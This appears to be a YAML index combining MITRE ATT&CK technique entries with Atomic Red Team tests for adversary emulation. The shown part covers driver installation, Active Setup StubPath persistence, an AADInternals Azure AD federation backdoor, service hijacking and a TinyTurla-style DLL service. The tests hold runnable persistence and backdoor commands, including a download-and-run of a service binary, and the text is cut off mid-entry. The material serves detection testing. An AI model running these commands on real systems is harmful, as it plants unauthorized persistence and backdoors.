x_mitre_deprecated: false x_mitre_detection: "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Module: Module Load' - 'Command: Command Execution' - 'File: File Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Modification' - 'Kernel: Kernel Module Load' - 'Process: Process Creation' - 'Driver: Driver Load' x_mitre_permissions_required: - User - Administrator - root type: attack-pattern id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf created: '2020-01-23T17:46:59.535Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547 external_id: T1547 - source_name: Cylance Reg Persistence Sept 2013 description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - source_name: MSDN Authentication Packages description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx - source_name: Microsoft Run Key description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/aa376977 - source_name: Microsoft TimeProvider description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - source_name: Linux Kernel Programming description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547 atomic_tests: - name: Add a driver auto_generated_guid: cb01b3da-b0e7-4e24-bf6d-de5223526785 description: 'Install a driver via pnputil.exe lolbin ' supported_platforms: - windows input_arguments: driver_inf: description: A built-in, already installed windows driver inf type: path default: C:\Windows\INF\usbstor.inf executor: command: 'pnputil.exe /add-driver "#{driver_inf}" ' name: command_prompt - name: Driver Installation Using pnputil.exe auto_generated_guid: 5cb0b071-8a5a-412f-839d-116beb2ed9f7 description: 'pnputil.exe is a native command-line utility in Windows to install drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/ ' supported_platforms: - windows input_arguments: driver_path: description: Enter the driver file path to install (Default is used built-in windows driver - acpipmi.inf) type: path default: C:\Windows\INF\acpipmi.inf executor: command: 'pnputil.exe -i -a #{driver_path} ' name: powershell T1547.014: technique: modified: '2023-05-09T14:00:00.188Z' name: Active Setup description: |- Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level. Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016) Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD) x_mitre_deprecated: false x_mitre_detection: |- Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67 created: '2020-12-18T16:33:13.098Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/014 external_id: T1547.014 - source_name: SECURELIST Bright Star 2015 description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020. url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/ - source_name: Mandiant Glyer APT 2010 description: Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020. url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf - source_name: FireEye CFR Watering Hole 2012 description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020. url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html - source_name: Klein Active Setup 2010 description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020. url: https://helgeklein.com/blog/2010/04/active-setup-explained/ - source_name: paloalto Tropic Trooper 2016 description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020. url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/ - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: Citizenlab Packrat 2015 description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020. url: https://citizenlab.ca/2015/12/packrat-report/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.014 atomic_tests: - name: HKLM - Add atomic_test key to launch executable as part of user setup auto_generated_guid: deff4586-0517-49c2-981d-bbea24d48d71 description: "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components' to launch calc by configuring an active setup executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\" command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would run during the next logon for each user.\n\nNote: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. \nThe payload will only run once unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n" supported_platforms: - windows input_arguments: payload: description: Payload to run once during login type: string default: C:\Windows\System32\calc.exe executor: command: "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\" -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup" cleanup_command: |- Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore name: powershell elevation_required: true - name: HKLM - Add malicious StubPath value to existing Active Setup Entry auto_generated_guid: 39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a description: "This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) \nSaid key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. \nWithout the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.\n" supported_platforms: - windows input_arguments: payload: description: Payload to run once during login type: string default: C:\Windows\System32\calc.exe executor: command: |- Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "#{payload}" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup cleanup_command: |- Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force name: powershell elevation_required: true - name: HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number auto_generated_guid: 04d55cef-f283-40ba-ae2a-316bc3b5e78c description: "This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, \nwhich will force the StubPath payload (if set) to execute.\n" supported_platforms: - windows executor: command: | Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0" & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup name: powershell elevation_required: true T1484.002: technique: modified: '2024-04-19T04:27:51.388Z' name: Domain Trust Modification description: "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Blake Strom, Microsoft 365 Defender - Praetorian - Obsidian Security x_mitre_deprecated: false x_mitre_detection: |- Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: "Federated Domain Name", or Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - SaaS x_mitre_version: '2.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Modification' - 'Active Directory: Active Directory Object Creation' x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee created: '2020-12-28T21:59:02.181Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1484/002 external_id: T1484.002 - source_name: CISA SolarWinds Cloud Detection description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021. url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a - source_name: AADInternals zure AD Federated Domain description: Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022. url: https://o365blog.com/post/federation-vulnerability/ - source_name: Microsoft - Azure AD Federation description: Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml - source_name: Microsoft - Update or Repair Federated domain description: Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 - source_name: Okta Cross-Tenant Impersonation 2023 description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.' url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection - source_name: Sygnia Golden SAML description: Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. url: https://www.sygnia.co/golden-saml-advisory object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1484.002 atomic_tests: - name: Add Federation to Azure AD auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7 description: | Add a new federated domain to Azure AD using PowerShell. The malicious domain to be federated must be configured beforehand (outside of the scope of this test): 1. Open Azure Portal 2. Add a new "custom domain name" 3. Verify the domain by following instructions (i.e. create the requested DNS record) supported_platforms: - azure-ad input_arguments: azure_username: description: Username of a privileged Azure AD account such as External Identity Provider Administrator or Global Administrator roles type: string default: bruce.wayne@contosocloud.com azure_password: description: Password of azure_username type: string default: iamthebatman domain_name: description: Malicious federated domain name type: string default: contoso.com dependency_executor_name: powershell dependencies: - description: 'AzureAD and AADInternals Powershell modules must be installed. ' prereq_command: 'if ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module -ListAvailable -Name AADInternals)) {exit 0} else {exit 1} ' get_prereq_command: | Install-Module -Name AzureAD -Force Install-Module -Name AADInternals -Force executor: command: | Import-Module AzureAD Import-Module AADInternals $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword try { Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null } catch { Write-Host "Error: AzureAD could not connect" exit 1 } try { $domain = Get-AzureADDomain -Name "#{domain_name}" } catch { Write-Host "Error: domain ""#{domain_name}"" not found" exit 1 } if (-Not $domain.IsVerified) { Write-Host "Error: domain ""#{domain_name}"" not verified" exit 1 } if ($domain.AuthenticationType -eq "Federated") { Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before." exit 1 } $at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential if (-Not $at) { Write-Host "Error: AADInternals could not connect" exit 1 } $new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}" if ($new) { Write-Host "Federation successfully added to Azure AD" Write-Host $new } else { Write-Host "The federation setup failed" } Write-Host "End of federation configuration." cleanup_command: | try { Import-Module AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null Remove-AzureADDomain -Name "#{domain_name}" -ErrorAction Ignore } catch {} name: powershell T1543.003: technique: modified: '2024-04-11T19:25:51.394Z' name: 'Create or Modify System Process: Windows Service' description: "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Matthew Demaske, Adaptforward - Pedro Harrison - Mayuresh Dani, Qualys - Wietze Beukema, @wietze - Akshat Pradhan, Qualys - Wirapong Petshagun x_mitre_deprecated: false x_mitre_detection: "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \ \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.5' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' - 'Service: Service Creation' - 'Command: Command Execution' - 'File: File Metadata' - 'Windows Registry: Windows Registry Key Creation' - 'Driver: Driver Load' - 'Service: Service Modification' - 'Process: OS API Execution' x_mitre_effective_permissions: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32 created: '2020-01-17T19:13:50.402Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/003 external_id: T1543.003 - source_name: Microsoft Windows Event Forwarding FEB 2018 description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection - source_name: ESET InvisiMole June 2020 description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.' url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - source_name: SANS 1 description: Joshua Wright. (2020, October 13). Retrieved March 22, 2024. url: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ - source_name: SANS 2 description: Joshua Wright. (2020, October 14). Retrieved March 22, 2024. url: https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/ - source_name: TechNet Services description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. url: https://technet.microsoft.com/en-us/library/cc772408.aspx - source_name: Microsoft 4697 APR 2017 description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.' url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 - source_name: Symantec W.32 Stuxnet Dossier description: Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. url: https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf - source_name: Unit42 AcidBox June 2020 description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.' url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/ - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: Crowdstrike DriveSlayer February 2022 description: Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022. url: https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1543.003 atomic_tests: - name: Modify Fax service to run PowerShell auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f description: | This test will temporarily modify the service Fax by changing the binPath to PowerShell and will then revert the binPath change, restoring Fax to its original state. Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn. supported_platforms: - windows executor: name: command_prompt elevation_required: true command: | sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\"" sc start Fax cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1 - name: Service Installation CMD auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6 description: | Download an executable from github and start it as a service. Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. supported_platforms: - windows input_arguments: binary_path: description: Name of the service binary, include path. type: path default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe service_type: description: Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare type: string default: Own startup_type: description: Service start method. May be boot|system|auto|demand|disabled|delayed-auto type: string default: auto service_name: description: Name of the Service type: string default: AtomicTestService_CMD dependency_executor_name: powershell dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) ' prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" executor: name: command_prompt elevation_required: true command: | sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type} sc.exe start #{service_name} cleanup_command: | sc.exe stop #{service_name} >nul 2>&1 sc.exe delete #{service_name} >nul 2>&1 - name: Service Installation PowerShell auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77 description: | Installs A Local Service via PowerShell. Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed. supported_platforms: - windows input_arguments: binary_path: description: Name of the service binary, include path. type: path default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe service_name: description: Name of the Service type: string default: AtomicTestService_PowerShell dependency_executor_name: powershell dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) ' prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" executor: name: powershell elevation_required: true command: | New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}" Start-Service -Name "#{service_name}" cleanup_command: | Stop-Service -Name "#{service_name}" 2>&1 | Out-Null try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()} catch {} - name: TinyTurla backdoor service w64time auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940 description: | It's running Dll as service to emulate the TinyTurla backdoor [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html) supported_platforms: - windows input_arguments: dllfilename: description: It specifies Dll file to run as service type: string default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll" executor: command: |- copy "#{dllfilename}" %systemroot%\system32\ sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto sc config W64Time DisplayName= "Windows 64 Time" sc description W64Time "Maintain date and time synch on all clients and services in the network" reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f sc start W64Time cleanup_command: |- sc stop W64Time sc.exe delete W64Time del %systemroot%\system32\w64time.dll reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f name: command_prompt elevation_required: true - name: Remote Service Installation CMD auto_generated_guid: fb4151a2-db33-4f8c-b7f8-78ea8790f961 description: | Download an executable from github and start it as a service on a remote endpoint Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. supported_platforms: - windows input_arguments: binary_path: description: Name of the service binary, include path. type: path default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe service_type: description: Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare type: string default: Own startup_type: description: Service start method. May be boot,system,auto,demand,disabled,delayed-auto type: string default: auto service_name: description: Name of the Service type: string default: AtomicTestService_CMD remote_host: description: Name of the remote endpoint type: string default: localhost dependency_executor_name: powershell dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) ' prereq_command: 